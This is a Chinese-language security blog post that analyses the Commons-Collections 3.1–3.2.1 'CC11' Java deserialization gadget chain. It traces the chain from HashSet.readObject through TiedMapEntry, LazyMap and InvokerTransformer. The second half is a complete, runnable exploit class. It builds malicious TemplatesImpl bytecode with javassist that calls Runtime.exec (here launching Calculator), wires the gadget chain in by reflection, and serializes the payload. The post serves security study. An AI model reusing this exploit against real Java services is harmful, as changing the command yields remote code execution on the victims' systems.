利用条件
Commons-Collections 3.1 - 3.2.1版本
不限制JDK版本
利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()
利用链分析
在CC11利用链中,使用了CC2和CC6的一些链,在CC11利用链中反序列化入口类是 HashSet
类,如果不先分析就直接看代码是有点懵的
先放一张整个调用栈的过程图
HashSet
在 HashSet
类的 readObject
方法中调用了 map
属性的 put()
方法
而这个 map
属性是 private
私有属性,无法直接修改这个 map
属性的值,后期我们通过反射来修改
HashMap
这里就和CC6链差不多了,这里还是主要看 key
我们能不能控制
因为在 HashMap
类中调用了 key
这个对象的 hashCode()
方法
在 HashMap
类中想要修改 key
的话需要对 table
属性的节点对象数组进行修改,我们需要先获取该 HashMap
类对象的 table
属性的节点对象数组,然后找到某个键值对,再修改这个 key
,当然,这个过程是需要反射来操作的
TiedMapEntry
那么,这个 key
设置为和CC6利用链后半部分一样就可以了,设置为 TiedMapEntry
类对象,这样就可以调用到 TiedMapEntry.hashCode()
方法
在实例化 TiedMapEntry
类对象的时候,将 LazyMap
类对象和 TemplatesImpl
类对象作为构造方法的参数即可,如果CC1-CC7都学过了的话,这里都懂哈
LazyMap
同样的,在 LazyMap
类对象 decorate()
方法的时候,就可以对 factory
属性进行赋值,这里只要把 factory
属性的值设置为 InvokerTransformer
类对象即可,map
赋值一个空的 HashMap
就行,因为后面我们用不到
InvokeTransformer
这里要注意一点,我们需要通过反射来修改 InvokerTransformer
类对象的 iMethodName
属性值,因为在序列化时 HashSet
调用 add()
方法就会触发,这样会导致在序列化时就会执行加载的恶意字节码,所以需要通过反射来修改
最后,到了这里就成功执行了加载的恶意字节码,和CC2的前半部分差不多
根据上面分析的,我们大概能写出中间的部分代码
HashSet hashset = new HashSet(1);
hashset.add("a");
// 为了兼容JDK8以下版本
Field mapField;
try{
mapField = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
mapField = HashSet.class.getDeclaredField("backingMap");
}
mapField.setAccessible(true);
HashMap hashset_Map = (HashMap) mapField.get(hashset);
Field tableField;
try{
tableField = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
tableField = HashMap.class.getDeclaredField("elementData");
}
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_Map);
Object node = array[0];
if (node == null){
node = array[1];
}
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
JDK8以下版本和JDK8及以后版本的 HashMap
类和 HashSet
类的元素存储方式发生了变化,所以以上代码兼容了JDK8以下版本
利用链EXP编写
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CommonsCollections11 {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("EvilCode");
ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
ctClass.setName("EvilCode" + System.nanoTime());
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class templateImplClass = templates.getClass();
Field nameField = templateImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"x");
Field bytecodesField = templateImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytecodes);
InvokerTransformer transformer = new InvokerTransformer("aaa", new Class[]{}, new Object[]{});
HashMap innermap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(lazyMap,templates);
HashSet hashset = new HashSet(1);
hashset.add("a");
// 为了兼容JDK8以下版本
Field mapField;
try{
mapField = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
mapField = HashSet.class.getDeclaredField("backingMap");
}
mapField.setAccessible(true);
HashMap hashset_Map = (HashMap) mapField.get(hashset);
Field tableField;
try{
tableField = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
tableField = HashMap.class.getDeclaredField("elementData");
}
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_Map);
Object node = array[0];
if (node == null){
node = array[1];
}
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
serialize(hashset);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/ea620075ac0a.html
Comments